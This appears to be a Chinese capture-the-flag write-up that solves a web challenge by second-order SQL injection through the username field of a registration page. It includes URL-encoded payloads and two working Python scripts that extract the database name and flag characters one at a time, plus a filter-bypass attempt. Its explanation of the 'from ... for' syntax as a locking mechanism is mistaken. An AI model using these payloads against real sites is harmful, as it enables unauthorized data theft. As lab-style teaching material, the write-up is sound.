打开实验环境:
实验准备:Firefox 或 Chrome、python环境、御剑(用于扫描目录)
非必须准备(不准备这个也能做题):Burp(SQL注入利器)、Vscode 或 Pycharm(用于写python脚本)、火狐代理工具 ProxySwitcheroo
关于浏览器开启本地代理的就不截图了;


默认进入的是登录页面;login.php
打开御剑扫描目录:


看到了注册的地址;在双击打开

随便注册个账号吧;



这里面没有其他提示,还把用户名输出了,所以就猜测这里存在用户名注入漏洞;

这边开启好了代理,打开Burp,点击为 on ,Burp准备好了,点击火狐浏览器的注册,把表单发过去;


上面图片里讲了很多,直接操作了;

这个操作是错误的,尝试了很久,这里提交的 邮箱、用户名 需要进行URL编码 ;这样提交才能成功;
举个栗子:
0'+ascii(substr((select database()) from 1 for 1))+'0
0%27%2Bascii%28substr%28%28select+database%28%29%29+from+1+for+1%29%29%2B%270
不进行URl编码 ,他直接跳转到 注册页面;也就是注册失败;
不试这个了,打开Vscode用脚本跑吧;
先做题前预习吧;
因为这是注册账号,然后数据库读取账号名,触发的SQL查询;
所以 写 pyload的时候 要使用 select ……for ;为啥? 这是因为 mysql数据库的安全机制;当某个表内数据被操作的时候,不允许再对它使用其他命令;
(就像是我在超市买东西,我放到购物车里的火腿肠,这个火腿只剩一个了,现在暂时去别处拿东西,然后有的家伙也喜欢这个火腿,他就拿走了,这是不友好的)
(msyql数据库就是这个意思,for 是啥呢,就是 那个家伙找到我,他说没有这个火腿他活不下去,我就给了通过 for 语句告诉他,你拿走吧,没关系的,好好活着!)
推荐俩个帮助理解链接:李秋、读书人
import requests
import re as r
re = requests.session()
url = 'http://220.249.52.133:47596/'
def register(email,username):
url1 = url+'register.php'
data = dict(email=email,username=username,password='123456')
html = re.post(url=url1,data=data)
html.encoding = 'utf-8'
return html
def login(email):
url2 = url+'login.php'
data = dict(email=email,password='123456')
html = re.post(url=url2,data=data)
html.encoding = 'utf-8'
return html
db = ''
table = ''
for i in range(1,10): #取数据库名
pyload = "0'+ascii(substr((select database()) from %d for 1))+'0"%i
email = "admin@ad.cn"+str(i)
html = register(email,pyload)
html = login(email)
match = r.search(r'<span class="user-name">\s*(\d*)\s*</span>',html.text)
asc = match.group(1)
if asc == '0':
break
db = db + chr(int(asc))
print('database:',db)
代码中有提到,这是取数据库名的脚本!

看到了,数据库名;
表名 flag (猜的),没办法了;下面提到 为啥 就 爆不出表名;
用表名拿 flag:中间注释的是爆数据库的,以及俩句想要爆数据表的(真是想想);
import requests
import re as r
re = requests.session()
url = 'http://220.249.52.133:47596/'
def register(email,username):
url1 = url+'register.php'
data = dict(email=email,username=username,password='123456')
html = re.post(url=url1,data=data)
html.encoding = 'utf-8'
return html
def login(email):
url2 = url+'login.php'
data = dict(email=email,password='123456')
html = re.post(url=url2,data=data)
html.encoding = 'utf-8'
return html
db = ''
table = ''
# for i in range(1,10): #取数据库名
# pyload = "0'+ascii(substr((select database()) from %d for 1))+'0"%i
# email = "admin@ad.cn"+str(i)
# html = register(email,pyload)
# html = login(email)
# match = r.search(r'<span class="user-name">\s*(\d*)\s*</span>',html.text)
# asc = match.group(1)
# if asc == '0':
# break
# db = db + chr(int(asc))
# print('database:',db)
for i in range(1,50): #取表名 information_schema.tables 被过滤; mysql.innodb_table_stats mysql.innodb_index.stats
# pyload = "0'+ascii(substr((select group_concat(table_name) from mysql.innodb_index_stats where table_schema=database()) from %d for 1))+'0"%i
# pyload = "0'+ascii(substr((select * from flag) from %d for 1))+'0"%i
pyload = "0'+ascii(substr((select * from flag) from %d for 1))+'0"%i
email = "admin4@ad.cn"+str(i)
html = register(email,pyload)
html = login(email)
match = r.search(r'<span class="user-name">\s*(\d*)\s*</span>',html.text)
asc = match.group(1)
if asc == '0':
break
table += chr(int(asc))
print('table_name:',table)

怎么配置python环境,以及配置Vscode的python环境都不说了,我感觉这难不住强大的你;下面说说爆表名为啥不行!

在最后扫尾解释一点脚本的意思吧;

有道云笔记